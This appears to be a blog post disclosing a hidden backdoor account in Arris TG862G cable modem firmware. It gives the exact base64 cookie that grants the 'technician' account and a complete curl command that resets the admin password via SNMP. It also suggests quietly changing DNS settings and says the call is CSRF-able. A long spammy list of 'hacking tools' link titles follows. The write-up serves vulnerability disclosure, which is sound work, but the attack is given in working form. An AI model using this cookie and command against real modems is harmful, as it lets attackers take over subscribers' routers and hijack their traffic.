Subscribers want their internet to be two things, fast and worry free. Cable operators deploy services to meet the speed expectations, and trust ARRIS to provide the cable modems that deliver the reliability.Nothing spells "trust" and "worry free" like a backdoor account, right?! Anyways, the following was observed on an Arris TG862G cable modem running the following firmware version -TS070563_092012_MODEL_862_GW
After successfully providing the correct login and password to the modems administration page, the following cookie is set (client side):
Cookie: credential=eyJ2YWxpZCI6dHJ1ZSwidGVjaG5pY2lhbiI6ZmFsc2UsImNyZWRlbnRpYWwiOiJZV1J0YVc0NmNHRnpjM2R2Y21RPSIsInByaW1hcnlPbmx5IjpmYWxzZSwiYWNjZXNzIjp7IkFMTCI6dHJ1ZX0sIm5hbWUiOiJhZG1pbiJ9All requests must have a valid "credential" cookie set (this was not the case in a previous FW release - whoops) if the cookie is not present the modem will reply with "PLEASE LOGIN". The cookie value is just a base64 encoded json object:
{"valid":true,"technician":false,"credential":"YWRtaW46cGFzc3dvcmQ=","primaryOnly":false,"access":{"ALL":true},"name":"admin"}And after base64 decoding the "credential" value we get:
{"valid":true,"technician":false,"credential":"admin:password","primaryOnly":false,"access":{"ALL":true},"name":"admin"}Sweet, the device is sending your credentials on every authenticated request (without HTTPS), essentially they have created basic-auth 2.0 - As the kids say "YOLO". The part that stuck out to me is the "technician" value that is set to "false" - swapping it to "true" didn't do anything exciting, but after messing around a bit I found that the following worked wonderfully:
Cookie: credential=eyJjcmVkZW50aWFsIjoiZEdWamFHNXBZMmxoYmpvPSJ9Which decodes to the following:
{"credential":"dGVjaG5pY2lhbjo="}And finally:
{"credential":"technician:"}Awesome, the username is "technician" and the password is empty. Trying to log into the interface using these credentials does not work :(
That is fairly odd. I can't think of a reasonable reason for a hidden account that is unable to log into the UI. So what exactly can you do with this account? Well, the web application is basically a html/js wrapper to some CGI that gets/sets SNMP values on the modem. It is worth noting that on previous FW revisions the CGI calls did NOT require any authentication and could be called without providing a valid "credential" cookie. That bug was killed a few years ago at HOPE 9.
Now we can resurrect the ability to set/get SNMP values by setting our "technician" account:
That's neat, but we would much rather be using the a fancy "web 2.0" UI that a normal user is accustomed to, instead of manually setting SNMP values like some sort of neckbearded unix admin. Taking a look at the password change functionality appeared to be a dead end as it requires the previous password to set a new one:
Surprisingly the application does check the value of the old password too! Back to digging around the following was observed in the "mib.js" file:
SysCfg.AdminPassword= new Scalar("AdminPassword","1.3.6.1.4.1.4115.1.20.1.1.5.1",4);Appears that the OID "1.3.6.1.4.1.4115.1.20.1.1.5.1" holds the value of the "Admin" password! Using the "technician" account to get/walk this OID comes up with nothing:
HTTP/1.1 200 OKWhat about setting a new value? Surely that will not work....
Date: Tue, 23 Sep 2014 19:58:40 GMT
Server: lighttpd/1.4.26-devel-5842M
Content-Length: 55
{
"1.3.6.1.4.1.4115.1.20.1.1.5.1.0":"",
"1":"Finish"
}
That response looks hopeful. We can now log in with the password "krad_password" for the "admin" user:
This functionality can be wrapped up in the following curl command:
curl -isk -X 'GET' -b 'credential=eyJjcmVkZW50aWFsIjoiZEdWamFHNXBZMmxoYmpvPSJ9' 'http://192.168.100.1:8080/snmpSet?oid=1.3.6.1.4.1.4115.1.20.1.1.5.1.0=krad_password;4;'Of course if you change the password you wouldn't be very sneaky, a better approach would be re-configuring the modems DNS settings perhaps? It's also worth noting that the SNMP set/get is CSRF'able if you were to catch a user who had recently logged into their modem.
The real pain here is that Arris keeps their FW locked up tightly and only allows Cable operators to download revisions/fixes/updates, so you are at the mercy of your Cable operator, even if Arris decides that its worth the time and effort to patch this
Related articles
- Hacking Tools For Games
- Hacker Hardware Tools
- Usb Pentest Tools
- What Are Hacking Tools
- Pentest Tools Linux
- Computer Hacker
- Hacking Tools For Games
- Tools 4 Hack
- Hack Tools
- Pentest Tools Android
- Hacker Security Tools
- How To Hack
- Hacking Tools For Pc
- Hacking Tools Usb
- Hack Tools
- Kik Hack Tools
- World No 1 Hacker Software
- Hak5 Tools
- Pentest Tools Open Source
- Growth Hacker Tools
- Pentest Tools Port Scanner
- Hacker Tools Software
- Hacker Tools Free Download
- Pentest Tools Find Subdomains
- How To Hack
- Hacking Tools Mac
- Hack Apps
- Hacking Tools For Pc
- Hacking Tools Download
- Pentest Box Tools Download
- Hacking Tools For Games
- Hack Tools For Pc
- Hacking Tools 2020
- Pentest Tools Alternative
- Pentest Tools Download
- Hack Tools For Windows
- Hacker Tools List
- Pentest Tools Linux
- Android Hack Tools Github
- Hacker Techniques Tools And Incident Handling
- Hacker Tools Free
- Hacker Tools Software
- Pentest Tools Github
- Nsa Hack Tools Download
- Pentest Automation Tools
- Hacker Tools For Pc
- Game Hacking
- Hacker Tools Mac
- Hacker Tools For Pc
- Nsa Hack Tools Download
- Growth Hacker Tools
- Hacking Tools
- What Are Hacking Tools
- New Hacker Tools
- Pentest Tools Kali Linux
- Pentest Tools Open Source
- Hack Apps
- Pentest Tools Kali Linux
- Hack Apps
- Hacker Techniques Tools And Incident Handling
- Black Hat Hacker Tools
- Tools For Hacker
- Hacking Tools Name
- Pentest Tools Free
- Game Hacking
- Kik Hack Tools
- Hack Tools For Windows
- New Hack Tools
- What Is Hacking Tools
- Pentest Tools Website Vulnerability
- Hacker Tools For Pc
- Hack Website Online Tool
- Hack Tools Github
- Pentest Box Tools Download
- Best Hacking Tools 2020
- Hacker Tools 2020
- Hacker Tool Kit
- Pentest Tools Free
- Tools For Hacker
- Hacker Tools For Mac
- Hacker Search Tools
- How To Make Hacking Tools
- Hack Rom Tools
- Hacker Search Tools
- Hacker
- Hacking Tools Software
- Pentest Tools Android
- Hackrf Tools
- Hacking Tools 2019
- Pentest Tools Github
- Hack Tools Mac
- Nsa Hack Tools
- Hacker Security Tools
- Black Hat Hacker Tools
- Pentest Tools Github
- Hacker Tools For Pc
- Hacker Tools Hardware
- Hacker Tools Windows
- Hacker Tools 2019
- Hackrf Tools
- Hacking Tools For Mac
- Pentest Tools
- Kik Hack Tools
- Hacker Hardware Tools
- Pentest Tools For Android
- Hack Website Online Tool
- Hacking Tools For Mac
- Hacking Tools Windows 10
- Hack Rom Tools
- Hacker Tools Online
- Hack Tools For Windows
- Hack Tools
- Hacking Tools Mac
- Hacking App
- Hacking Tools 2019
- Computer Hacker
- Hacker Tool Kit
- Pentest Box Tools Download
- Hacker Search Tools
- Hack Tools Pc
- Hacking App
- Best Hacking Tools 2019
- Hack Apps
- Pentest Tools For Android
- Install Pentest Tools Ubuntu
- Pentest Tools Apk
- Hacking Tools Download
- Hacker Tools For Pc
- Hacking Apps
- Pentest Tools Apk
No comments:
Post a Comment